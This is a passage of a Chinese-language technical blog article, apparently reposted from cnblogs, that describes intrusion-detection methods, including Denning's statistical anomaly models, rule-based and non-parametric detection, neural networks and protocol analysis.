  • Denning的原始模型:该模型在1986年由Dorty Denning提出,他主张在一个系统中可包括4个统计模型,即:
    • 可操作模型:将度量值与阈值相比较,当度量值超出阈值时触发一个异常
    • 平均和标准差模型:假定行为信任区域的一个度量值为一些参数的平均值的标准差,一个新行为落在信任区域内则为正常,落在外部则为异常
    • 多变量模型:基于两个或多个度量值来执行
    • Markov处理模型:将事件的每个不同类型作为一个状态变量,使用一个状态转换矩阵来描述不同状态之间的转换频率,频率过低则为异常
  • 统计方法:系统生成原始的行为特征文件,异常检测系统定期从历史的特征文件中产生新的特征文件(即统计量的历史窗口统计量)
  • 基于规则的方法:该方法的潜在假定与统计方法的假定类似,不同之处在于基于规则的方法使用规则集来表示和存储使用模型。在事件顺序中查找模式,若某个事件匹配了规则头,但下一个事件不在规则集中,则判断为异常
  • 非参统计度量:早期的统计方法都使用参数方法来描述用户和其他系统实体的行为模式,用户行为模式的分布一般都假定为高斯分布或正态分布,当假定不正确时,异常检测的错误率很高。为此,有学者提出用非参技术来执行异常检测,该方法提供很少的可预测使用模式来容纳用户的能力,并允许分析器考虑不容易由参数方案容纳的系统度量,这其中涉及非参数据区分技术,尤其是群集技术。该方法的前提是根据用户特征吧表示的用户活动数据分成两个明显区别的群,一个指示异常活动,一个指示正常活动。
  • 神经网络:也属于非参分析技术的一种

0x3:协议分析(NTA)

协议分析是出现最晚的入侵检测方法,它利用网络协议的高度规则性,快速识别协议,并检测是否存在攻击,通过辨别数据包的协议类型,以便使用相应的数据分析程序来检测数据包。 

协议分析技术的主要优势在于采用命令解析器(在不同的协议层次上),能够对每个用户命令作出详细分析,如果出现IP碎片,可以对数据包进行重组还原,然后再进行分析。

 

原文出处:https://www.cnblogs.com/LittleHann/p/12322437.html

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部